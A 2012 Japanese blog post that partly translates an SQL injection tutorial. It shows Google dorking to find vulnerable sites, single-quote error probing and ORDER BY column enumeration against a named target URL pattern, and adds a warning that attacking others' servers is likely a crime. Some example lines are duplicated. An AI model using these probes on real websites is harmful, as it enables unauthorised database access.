2012-07-01 SQLインジェクションでWebサイトをハッキングする方法(超意訳版)

ちょっと面白い記事を見つけたのでご紹介します。
内容はSQLインジェクションに関するもので、ターゲットを見つける方法から、SQLインジェクションの具体的な方法まで書かれていて、下手なセキュリティ本を読むよりためになりそうです。ただ、この内容を人様のサーバに対して行ってしまうと、たぶん犯罪になりますので、試す場合はご自身の環境で試されることをお勧めします。
内容ここから
--------------------
Hacking website using SQL Injection
SQLインジェクションを説明する前に、データベースとSQLがどんなものなのか知っておこう。
データベース
データベースとはデータの集まりで、Webサイト全体から見ると、データベースは
ユーザのIDやパスワード、その他Webサイトで利用されるデータが保管されている場所になる。
データベースのリスト:
- DB servers
- MySQL
- MSSQL
- MS-ACCESS
- Oracle
- PostgreSQL
- SQLite
SQL
SQLとは「Structured Query Language」の略で、データベースとやり取りをするためのものだ。私たちはデータベースを照会(querying)する。だから、これはクエリ言語(query language)と呼ばれている。
シンプルで一般的なSQLによる照会
この命令はテーブルの内容を表示するために使用される。
SELECT * FROM table_name;
例
SELECT * FROM users;
これはテーブルにデータを記録するためのSQL
INSERT INTO table_name(column_namec,...) VALUES(corresponding values for columns):
例
INSERT INTO users(username, userid) VALUES("BreakTheSec", "break");
次からはSQLインジェクションについて、より詳しく説明していく。
SQLインジェクションって何?
SQLインジェクションは、広く知られたハッキング手法で、この手法を用いると
正規の認証を通ることなく、データベースにアクセスすることが可能になる。
これはつまり、攻撃者がデータベースのすべての情報を手にすることを意味している。
SQLインジェクションでできること
- 認証のバイパス
- 機密情報へのアクセス
- Webサイトの改竄
- データベースの停止
Step 1: セキュリティホールを持ったWebサイトを見つける
SQLインジェクションを仕掛ける相手を見つけるには、Google検索が役に立つ。
Googleを使うことで、セキュリティホールを持ったWebサイトを見つけることができる。Googleを使ってターゲットを見つけるには、ちょっとした検索トリックを使う。
Googleには色んな検索トリックがあるが、ここでは「inurl:」コマンドを使って、ターゲットを見つける。
例
もし、特定のWebサイトをハッキングしたい場合は以下のようにすればよい。
site:www.○○○.com inurl:index.php?id=
Step 2: セキュリティホールをチェックする
さあ、Webサイトのセキュリティホールをチェックしてみよう。セキュリティホールをチェックするには、URLの最後にシングルクオート「'」をくっつけて、Enterキーを押すだけでいい。(このときに元からある数字とシングルクオートの間にスペースをいれてはいけない)
具体的には下記のようにする
http://www.○○○.com/index.php?id=2'
ここで、もしまた全く同じページが表示されたり、404(Not Found)ページや、その他の
Webページが表示された場合、そのページにSQLインジェクションを仕掛けることはできない。
もしSQL関連のエラーが画面に表示されていたら...
それはセキュリティホールを持ったWebサイトだ。
SQLのエラー例
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
Step 3: テーブルのカラム数を調べる
セキュリティホールを持ったWebサイトを見つけたら、次はテーブルのカラム数を調べてみよう。カラム数を調べるには、さっきURLに付加したシングルクオートを「ORDER BY number」に置き換えてページを読み込む。
具体的には下記のようにする
http://www.○○○.com/index.php?id=2 order by 1
http://www.○○○.com/index.php?id=2 order by 2
http://www.○○○.com/index.php?id=2 order by 3
http://www.○○○.com/index.php?id=2 order by 4
上のように順番に数字を変えて実行し「unknown column」エラーが出るまで続ける。http://www.○○○.com/index.php?id=2 order by 2
http://www.○○○.com/index.php?id=2 order by 3
http://www.○○○.com/index.php?id=2 order by 4
もし、x番目の数字でエラーが出たら、カラム数はx-1であるということがわかる。
例
http://www.○○○.com/index.php?id=2 order by 1(noerror)
http://www.○○○.com/index.php?id=2 order by 2(no error)
http://www.○○○.com/index.php?id=2 order by 3(no error)
http://www.○○○.com/index.php?id=2 order by 4(no error)
http://www.○○○.com/index.php?id=2 order by 5(no error)
http://www.○○○.com/index.php?id=2 order by 6(no error)
http://www.○○○.com/index.php?id=2 order by 7(no error)
http://www.○○○.com/index.php?id=2 order by 8(error)
上の例では8個目でエラーになっている。よって、カラム数は7ということになる。http://www.○○○.com/index.php?id=2 order by 2(no error)
http://www.○○○.com/index.php?id=2 order by 3(no error)
http://www.○○○.com/index.php?id=2 order by 4(no error)
http://www.○○○.com/index.php?id=2 order by 5(no error)
http://www.○○○.com/index.php?id=2 order by 6(no error)
http://www.○○○.com/index.php?id=2 order by 7(no error)
http://www.○○○.com/index.php?id=2 order by 8(error)
この方法ではうまくいかない場合は、URLの末尾に「--」を追加して試してみるとよい。
http://www.○○○.com/index.php?id=2 order by 1--
-------------------
内容ここまで
この記事のターゲットのデータベースはMySQLなんでしょうか。
私の環境(PostgreSQL)では、この記事の方法にちょっと手を加えることでうまくできました。本当はまだ続きがありますので、気になる方はこちらをどうぞ
Hacking website using SQL Injection
http://www.breakthesecurity.com/2010/12/hacking-website-using-sql-injection.html
記事を書いたらつぶやきます。→muggles0812